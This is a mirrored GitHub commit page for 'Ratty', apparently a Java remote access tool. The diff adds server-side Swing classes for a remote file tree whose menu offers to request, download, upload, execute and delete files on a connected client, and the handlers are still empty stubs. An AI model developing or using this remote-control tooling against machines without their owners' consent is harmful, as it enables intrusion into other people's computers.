mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
10 changed files with 468 additions and 638 deletions
-
107Ratty/src/de/sogomn/rat/server/gui/DisplayController.java
-
146Ratty/src/de/sogomn/rat/server/gui/FileTree.java
-
44Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java
-
169Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java
-
289Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
-
2Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
-
9Ratty/src/de/sogomn/rat/server/gui/ISubController.java
-
14Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
303Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
23Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
@ -0,0 +1,146 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
|
|||
import java.awt.Dimension; |
|||
import java.awt.event.ActionEvent; |
|||
import java.awt.event.MouseAdapter; |
|||
import java.awt.event.MouseEvent; |
|||
import java.awt.image.BufferedImage; |
|||
|
|||
import javax.swing.Icon; |
|||
import javax.swing.ImageIcon; |
|||
import javax.swing.JFrame; |
|||
import javax.swing.JMenuItem; |
|||
import javax.swing.JPopupMenu; |
|||
import javax.swing.JScrollPane; |
|||
import javax.swing.JTree; |
|||
import javax.swing.tree.DefaultTreeModel; |
|||
import javax.swing.tree.TreePath; |
|||
|
|||
import de.sogomn.engine.fx.SpriteSheet; |
|||
import de.sogomn.engine.util.AbstractListenerContainer; |
|||
|
|||
public final class FileTree extends AbstractListenerContainer<IGuiController> { |
|||
|
|||
private JFrame frame; |
|||
|
|||
private FileTreeNode root; |
|||
private JTree tree; |
|||
private DefaultTreeModel treeModel; |
|||
private JScrollPane scrollPane; |
|||
|
|||
private JPopupMenu menu; |
|||
|
|||
private FileTreeNode lastNodeClicked; |
|||
|
|||
private static final String ROOT_NAME = "Drives"; |
|||
private static final Dimension DEFAULT_SIZE = new Dimension(500, 500); |
|||
|
|||
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites(); |
|||
|
|||
public static final String REQUEST = "Request content"; |
|||
public static final String DOWNLOAD = "Download file"; |
|||
public static final String UPLOAD = "Upload file here"; |
|||
public static final String EXECUTE = "Execute file"; |
|||
public static final String DELETE = "Delete file"; |
|||
public static final String NEW_FOLDER = "Create new folder here"; |
|||
|
|||
public static final String[] COMMANDS = { |
|||
REQUEST, |
|||
DOWNLOAD, |
|||
UPLOAD, |
|||
EXECUTE, |
|||
DELETE, |
|||
NEW_FOLDER |
|||
}; |
|||
|
|||
public FileTree() { |
|||
frame = new JFrame(); |
|||
root = new FileTreeNode(ROOT_NAME); |
|||
tree = new JTree(root); |
|||
treeModel = (DefaultTreeModel)tree.getModel(); |
|||
scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); |
|||
menu = new JPopupMenu(); |
|||
|
|||
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { |
|||
final String command = COMMANDS[i]; |
|||
final ImageIcon icon = new ImageIcon(MENU_ICONS[i]); |
|||
|
|||
addMenuItem(command, icon); |
|||
} |
|||
|
|||
final MouseAdapter mouseAdapter = new MouseAdapter() { |
|||
@Override |
|||
public void mousePressed(final MouseEvent m) { |
|||
final int x = m.getX(); |
|||
final int y = m.getY(); |
|||
final TreePath path = tree.getPathForLocation(x, y); |
|||
|
|||
tree.setSelectionPath(path); |
|||
|
|||
if (path != null) { |
|||
lastNodeClicked = (FileTreeNode)path.getLastPathComponent(); |
|||
} else { |
|||
lastNodeClicked = null; |
|||
} |
|||
} |
|||
}; |
|||
|
|||
scrollPane.setBorder(null); |
|||
tree.addMouseListener(mouseAdapter); |
|||
tree.setEditable(false); |
|||
tree.setComponentPopupMenu(menu); |
|||
|
|||
frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); |
|||
frame.setPreferredSize(DEFAULT_SIZE); |
|||
frame.setContentPane(scrollPane); |
|||
frame.pack(); |
|||
frame.setLocationByPlatform(true); |
|||
} |
|||
|
|||
private void addMenuItem(final String name, final Icon icon) { |
|||
final JMenuItem item = new JMenuItem(name); |
|||
|
|||
item.setActionCommand(name); |
|||
item.addActionListener(this::menuItemClicked); |
|||
item.setIcon(icon); |
|||
|
|||
menu.add(item); |
|||
} |
|||
|
|||
private void menuItemClicked(final ActionEvent a) { |
|||
final String command = a.getActionCommand(); |
|||
|
|||
notifyListeners(controller -> controller.userInput(command)); |
|||
} |
|||
|
|||
public void addNodes(final String... names) { |
|||
FileTreeNode current = root; |
|||
|
|||
for (final String name : names) { |
|||
final FileTreeNode next = current.getChild(name); |
|||
|
|||
if (next == null) { |
|||
final FileTreeNode node = new FileTreeNode(name); |
|||
|
|||
treeModel.insertNodeInto(node, current, 0); |
|||
|
|||
current = node; |
|||
} else { |
|||
current = next; |
|||
} |
|||
} |
|||
} |
|||
|
|||
public void setVisible(final boolean visible) { |
|||
frame.setVisible(true); |
|||
} |
|||
|
|||
public void setTitle(final String title) { |
|||
frame.setTitle(title); |
|||
} |
|||
|
|||
public FileTreeNode getLastNodeClicked() { |
|||
return lastNodeClicked; |
|||
} |
|||
|
|||
} |
@ -0,0 +1,44 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
|
|||
import de.sogomn.rat.packet.IPacket; |
|||
|
|||
public final class FileTreeController implements ISubController { |
|||
|
|||
private ServerClient client; |
|||
|
|||
private FileTree fileTree; |
|||
|
|||
public FileTreeController(final ServerClient client) { |
|||
this.client = client; |
|||
|
|||
fileTree = new FileTree(); |
|||
|
|||
final String title = client.connection.getAddress(); |
|||
|
|||
fileTree.addListener(this); |
|||
fileTree.setTitle(title); |
|||
} |
|||
|
|||
@Override |
|||
public void userInput(final String command) { |
|||
if (command == FileTree.REQUEST) { |
|||
//... |
|||
} else if (command == FileTree.DOWNLOAD) { |
|||
//... |
|||
} else if (command == FileTree.UPLOAD) { |
|||
//... |
|||
} else if (command == FileTree.EXECUTE) { |
|||
//... |
|||
} else if (command == FileTree.NEW_FOLDER) { |
|||
//... |
|||
} else if (command == FileTree.DELETE) { |
|||
//... |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public void handlePacket(final IPacket packet) { |
|||
//... |
|||
} |
|||
|
|||
} |
@ -0,0 +1,169 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
|
|||
import java.io.File; |
|||
import java.util.ArrayList; |
|||
import java.util.Collections; |
|||
import java.util.Enumeration; |
|||
|
|||
import javax.swing.tree.MutableTreeNode; |
|||
import javax.swing.tree.TreeNode; |
|||
|
|||
public final class FileTreeNode implements MutableTreeNode { |
|||
|
|||
private FileTreeNode parent; |
|||
private ArrayList<FileTreeNode> children; |
|||
|
|||
private String name; |
|||
|
|||
public FileTreeNode(final String name) { |
|||
this.name = name; |
|||
|
|||
children = new ArrayList<FileTreeNode>(); |
|||
} |
|||
|
|||
@Override |
|||
public Enumeration<FileTreeNode> children() { |
|||
final Enumeration<FileTreeNode> enumeration = Collections.enumeration(children); |
|||
|
|||
return enumeration; |
|||
} |
|||
|
|||
@Override |
|||
public void insert(final MutableTreeNode child, final int index) { |
|||
final boolean fileTreeNode = child instanceof FileTreeNode; |
|||
|
|||
if (index < 0 || index > children.size() - 1 || !fileTreeNode) { |
|||
return; |
|||
} |
|||
|
|||
final FileTreeNode fileTreeNodeChild = (FileTreeNode)child; |
|||
|
|||
children.add(index, fileTreeNodeChild); |
|||
} |
|||
|
|||
@Override |
|||
public void remove(final int index) { |
|||
if (index < 0 || index > children.size() - 1) { |
|||
return; |
|||
} |
|||
|
|||
children.remove(index); |
|||
} |
|||
|
|||
@Override |
|||
public void remove(final MutableTreeNode node) { |
|||
children.remove(node); |
|||
} |
|||
|
|||
@Override |
|||
public void removeFromParent() { |
|||
if (parent == null) { |
|||
return; |
|||
} |
|||
|
|||
parent.remove(this); |
|||
} |
|||
|
|||
@Override |
|||
public void setParent(final MutableTreeNode newParent) { |
|||
final boolean fileTreeNode = newParent instanceof FileTreeNode; |
|||
|
|||
if (!fileTreeNode) { |
|||
return; |
|||
} |
|||
|
|||
final FileTreeNode fileTreeNodeParent = (FileTreeNode)newParent; |
|||
|
|||
parent = fileTreeNodeParent; |
|||
} |
|||
|
|||
@Override |
|||
public void setUserObject(final Object object) { |
|||
name = String.valueOf(object); |
|||
} |
|||
|
|||
@Override |
|||
public boolean getAllowsChildren() { |
|||
return true; |
|||
} |
|||
|
|||
@Override |
|||
public FileTreeNode getChildAt(final int childIndex) { |
|||
if (childIndex < 0 || childIndex > children.size() - 1) { |
|||
return null; |
|||
} |
|||
|
|||
final FileTreeNode child = children.get(childIndex); |
|||
|
|||
return child; |
|||
} |
|||
|
|||
@Override |
|||
public int getChildCount() { |
|||
return children.size(); |
|||
} |
|||
|
|||
@Override |
|||
public int getIndex(final TreeNode node) { |
|||
final int index = children.indexOf(node); |
|||
|
|||
return index; |
|||
} |
|||
|
|||
@Override |
|||
public FileTreeNode getParent() { |
|||
return parent; |
|||
} |
|||
|
|||
@Override |
|||
public boolean isLeaf() { |
|||
return getChildCount() == 0; |
|||
} |
|||
|
|||
public String getPath() { |
|||
final StringBuilder builder = new StringBuilder(); |
|||
|
|||
FileTreeNode current = this; |
|||
|
|||
while (current != null) { |
|||
final String name = current.getName(); |
|||
|
|||
builder.insert(0, name + File.separator); |
|||
|
|||
current = current.getParent(); |
|||
} |
|||
|
|||
return builder.toString(); |
|||
} |
|||
|
|||
public String getName() { |
|||
return name; |
|||
} |
|||
|
|||
public FileTreeNode getChild(final String name) { |
|||
for (final FileTreeNode child : children) { |
|||
final String childName = child.getName(); |
|||
|
|||
if (childName.equals(name)) { |
|||
return child; |
|||
} |
|||
} |
|||
|
|||
return null; |
|||
} |
|||
|
|||
public FileTreeNode getDeepChild(final String... names) { |
|||
FileTreeNode current = this; |
|||
|
|||
for (final String name : names) { |
|||
current = current.getChild(name); |
|||
|
|||
if (current == null) { |
|||
return null; |
|||
} |
|||
} |
|||
|
|||
return current; |
|||
} |
|||
|
|||
} |
@ -1,289 +0,0 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
|
|||
import java.awt.Dimension; |
|||
import java.awt.event.ActionEvent; |
|||
import java.awt.event.MouseAdapter; |
|||
import java.awt.event.MouseEvent; |
|||
import java.awt.image.BufferedImage; |
|||
import java.io.File; |
|||
import java.util.stream.Collectors; |
|||
import java.util.stream.Stream; |
|||
|
|||
import javax.swing.Icon; |
|||
import javax.swing.ImageIcon; |
|||
import javax.swing.JDialog; |
|||
import javax.swing.JFrame; |
|||
import javax.swing.JMenuItem; |
|||
import javax.swing.JPopupMenu; |
|||
import javax.swing.JScrollPane; |
|||
import javax.swing.JTree; |
|||
import javax.swing.tree.DefaultMutableTreeNode; |
|||
import javax.swing.tree.DefaultTreeModel; |
|||
import javax.swing.tree.TreeNode; |
|||
import javax.swing.tree.TreePath; |
|||
|
|||
import de.sogomn.engine.fx.SpriteSheet; |
|||
|
|||
public final class FileTreePanel { |
|||
|
|||
private JDialog dialog; |
|||
|
|||
private DefaultMutableTreeNode root; |
|||
private JTree tree; |
|||
private DefaultTreeModel treeModel; |
|||
private JScrollPane scrollPane; |
|||
|
|||
private JPopupMenu menu; |
|||
|
|||
private DefaultMutableTreeNode lastNodeClicked; |
|||
private IGuiController controller; |
|||
|
|||
private static final String ROOT_NAME = "Drives"; |
|||
private static final int DEFAULT_WIDTH = 500; |
|||
private static final int DEFAULT_HEIGHT = 500; |
|||
|
|||
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites(); |
|||
|
|||
public static final String REQUEST = "Request content"; |
|||
public static final String DOWNLOAD = "Download file"; |
|||
public static final String UPLOAD = "Upload file here"; |
|||
public static final String EXECUTE = "Execute file"; |
|||
public static final String DELETE = "Delete file"; |
|||
public static final String NEW_FOLDER = "Create new folder here"; |
|||
|
|||
public static final String[] COMMANDS = { |
|||
REQUEST, |
|||
DOWNLOAD, |
|||
UPLOAD, |
|||
EXECUTE, |
|||
DELETE, |
|||
NEW_FOLDER |
|||
}; |
|||
|
|||
public FileTreePanel() { |
|||
dialog = new JDialog(); |
|||
root = new DefaultMutableTreeNode(ROOT_NAME); |
|||
tree = new JTree(root); |
|||
treeModel = (DefaultTreeModel)tree.getModel(); |
|||
scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); |
|||
menu = new JPopupMenu(); |
|||
|
|||
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { |
|||
final String command = COMMANDS[i]; |
|||
final ImageIcon icon = new ImageIcon(MENU_ICONS[i]); |
|||
|
|||
addMenuItem(command, icon); |
|||
} |
|||
|
|||
final MouseAdapter mouseAdapter = new MouseAdapter() { |
|||
@Override |
|||
public void mousePressed(final MouseEvent m) { |
|||
final int x = m.getX(); |
|||
final int y = m.getY(); |
|||
final TreePath path = tree.getPathForLocation(x, y); |
|||
|
|||
tree.setSelectionPath(path); |
|||
|
|||
if (path != null) { |
|||
lastNodeClicked = (DefaultMutableTreeNode)path.getLastPathComponent(); |
|||
} else { |
|||
lastNodeClicked = null; |
|||
} |
|||
} |
|||
}; |
|||
|
|||
scrollPane.setBorder(null); |
|||
tree.addMouseListener(mouseAdapter); |
|||
tree.setEditable(false); |
|||
tree.setComponentPopupMenu(menu); |
|||
|
|||
dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); |
|||
dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT)); |
|||
dialog.setContentPane(scrollPane); |
|||
dialog.pack(); |
|||
dialog.setLocationByPlatform(true); |
|||
} |
|||
|
|||
private void addMenuItem(final String name, final Icon icon) { |
|||
final JMenuItem item = new JMenuItem(name); |
|||
|
|||
item.setActionCommand(name); |
|||
item.addActionListener(this::menuItemClicked); |
|||
item.setIcon(icon); |
|||
|
|||
menu.add(item); |
|||
} |
|||
|
|||
private void menuItemClicked(final ActionEvent a) { |
|||
if (controller == null) { |
|||
return; |
|||
} |
|||
|
|||
final String command = a.getActionCommand(); |
|||
|
|||
controller.userInput(command); |
|||
} |
|||
|
|||
private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) { |
|||
final int childCount = node.getChildCount(); |
|||
final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount]; |
|||
|
|||
for (int i = 0; i < childCount; i++) { |
|||
final DefaultMutableTreeNode child = (DefaultMutableTreeNode)node.getChildAt(i); |
|||
|
|||
children[i] = child; |
|||
} |
|||
|
|||
return children; |
|||
} |
|||
|
|||
private DefaultMutableTreeNode getChildByName(final DefaultMutableTreeNode node, final String name) { |
|||
final DefaultMutableTreeNode[] children = getChildren(node); |
|||
|
|||
for (final DefaultMutableTreeNode child : children) { |
|||
final Object object = child.getUserObject(); |
|||
|
|||
if (object.equals(name)) { |
|||
return child; |
|||
} |
|||
} |
|||
|
|||
return null; |
|||
} |
|||
|
|||
private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String[] path) { |
|||
if (path.length == 0) { |
|||
return null; |
|||
} |
|||
|
|||
final String name = path[0]; |
|||
final DefaultMutableTreeNode node = getChildByName(start, name); |
|||
|
|||
if (path.length == 1 || node == null) { |
|||
return node; |
|||
} |
|||
|
|||
final String[] remainingPath = new String[path.length - 1]; |
|||
System.arraycopy(path, 1, remainingPath, 0, remainingPath.length); |
|||
|
|||
return getByName(node, remainingPath); |
|||
} |
|||
|
|||
private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String path) { |
|||
final String[] pathParts = path.split("\\" + File.separator); |
|||
|
|||
return getByName(start, pathParts); |
|||
} |
|||
|
|||
private void addAll(final DefaultMutableTreeNode root, final String[] path) { |
|||
if (path.length == 0) { |
|||
return; |
|||
} |
|||
|
|||
final String name = path[0]; |
|||
|
|||
DefaultMutableTreeNode node = getChildByName(root, name); |
|||
|
|||
if (node == null) { |
|||
node = new DefaultMutableTreeNode(name); |
|||
|
|||
treeModel.insertNodeInto(node, root, 0); |
|||
} |
|||
|
|||
final String[] remainingPath = new String[path.length - 1]; |
|||
System.arraycopy(path, 1, remainingPath, 0, remainingPath.length); |
|||
|
|||
addAll(node, remainingPath); |
|||
} |
|||
|
|||
private String getPath(final DefaultMutableTreeNode end) { |
|||
final TreeNode[] parents = end.getPath(); |
|||
|
|||
final String path = Stream |
|||
.of(parents) |
|||
.skip(1) |
|||
.map(node -> (DefaultMutableTreeNode)node) |
|||
.map(DefaultMutableTreeNode::getUserObject) |
|||
.map(object -> (String)object) |
|||
.collect(Collectors.joining(File.separator)) + File.separator; |
|||
|
|||
return path; |
|||
} |
|||
|
|||
public void addFile(final String... path) { |
|||
addAll(root, path); |
|||
} |
|||
|
|||
public void addFile(final String path) { |
|||
final String[] pathParts = path.split("\\" + File.separator); |
|||
|
|||
addFile(pathParts); |
|||
} |
|||
|
|||
public void removeFile(final String... path) { |
|||
final DefaultMutableTreeNode node = getByName(root, path); |
|||
|
|||
if (node != null) { |
|||
treeModel.removeNodeFromParent(node); |
|||
} |
|||
} |
|||
|
|||
public void removeFile(final String path) { |
|||
final String[] pathParts = path.split("\\" + File.separator); |
|||
|
|||
removeFile(pathParts); |
|||
} |
|||
|
|||
public void removeChildren(final String path) { |
|||
final DefaultMutableTreeNode node = getByName(root, path); |
|||
|
|||
if (node != null) { |
|||
final DefaultMutableTreeNode[] children = getChildren(node); |
|||
|
|||
for (final DefaultMutableTreeNode child : children) { |
|||
treeModel.removeNodeFromParent(child); |
|||
} |
|||
} |
|||
} |
|||
|
|||
public void setTitle(final String title) { |
|||
dialog.setTitle(title); |
|||
} |
|||
|
|||
public void setVisible(final boolean state) { |
|||
dialog.setVisible(state); |
|||
} |
|||
|
|||
public void setController(final IGuiController controller) { |
|||
this.controller = controller; |
|||
} |
|||
|
|||
public DefaultMutableTreeNode getLastNodeClicked() { |
|||
return lastNodeClicked; |
|||
} |
|||
|
|||
public String getLastPathClicked() { |
|||
if (lastNodeClicked == null) { |
|||
return ""; |
|||
} |
|||
|
|||
final String path = getPath(lastNodeClicked); |
|||
|
|||
return path; |
|||
} |
|||
|
|||
public String getLastPathClickedFolder() { |
|||
final String path; |
|||
|
|||
if (!lastNodeClicked.isLeaf()) { |
|||
path = getPath(lastNodeClicked); |
|||
} else { |
|||
final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)lastNodeClicked.getParent(); |
|||
|
|||
path = getPath(parent); |
|||
} |
|||
|
|||
return path; |
|||
} |
|||
|
|||
} |
@ -0,0 +1,9 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
|
|||
import de.sogomn.rat.packet.IPacket; |
|||
|
|||
public interface ISubController extends IGuiController { |
|||
|
|||
void handlePacket(final IPacket packet); |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue